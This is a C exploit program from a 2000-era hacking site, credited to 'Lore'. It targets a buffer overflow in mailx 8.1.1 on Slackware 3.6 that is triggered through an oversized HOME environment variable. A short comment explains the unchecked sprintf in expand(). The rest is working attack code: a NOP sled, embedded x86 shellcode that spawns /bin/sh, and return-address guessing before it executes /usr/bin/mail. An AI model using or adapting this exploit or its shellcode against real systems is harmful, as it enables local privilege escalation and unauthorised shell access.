/*
 
  I dunno if this is an old overflow or (it probably is...) but I was just
  messing with the Slackware 3.6 source and found it.
 
  Here's some basic notes on what happens:
 
  $HOME environment dir contains exploit.
  Exploit buffer size = 1024 + 8
 
  tinit() is called first. This gets the homedir variable from cp which is a
  value returned by getenv("HOME");
 
  load() is called next, taking as an argument an expended "~/.mailrc".
 
  expand():
 
  if (name[0] == '~' && (name[1] == '/' || name[1] == '\0')) {
    sprintf(xname, "%s%s", homedir, name + 1);
 
  xname size = 1024
 
  homedir == getenv("HOME")
  name == "~/.mailrc"
 
  "~/.mailrc" is at end of the buffer, so this should just be pushed over
  the stack and forgotten about. 
 
 */
/*
 *  mailx buffer overflow by Lore
 *
 */

#include <stdio.h>
#include <stdlib.h>

#define BSIZE  (1024)
#define OSIZE  (8)
#define ESIZE  (BSIZE + OSIZE)
#define NOP    (0x90)
#define OFFSET (0)

char hellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

long get_esp (void)
{
  __asm__ ("movl %esp, %eax");
}

int main (int argc, char * * argv)
{
  char * evil;
  int i, j;
  long addr;
  int offset = OFFSET;

  evil = (char *)malloc(ESIZE);

  for (i = 0; i < (ESIZE - strlen(hellcode) - 4); ++i)
    evil[i] = NOP;

  for (j = 0; i < (ESIZE - 4); ++i, ++j)
    evil[i] = hellcode[j];

  if (argc > 1) offset = atoi(argv[1]);

  addr = (get_esp() - offset);

  *(long *)(evil + i) = addr;

  setenv("HOME", evil, 1);

  fprintf(stderr, "\nmailx-8.1.1 exploit\n");
  fprintf(stderr, "Using address 0x%x, offset %d\n\n", addr, offset);

  execl("/usr/bin/mail", "mail", NULL);

}
/*                    www.hack.co.za              [2000]*/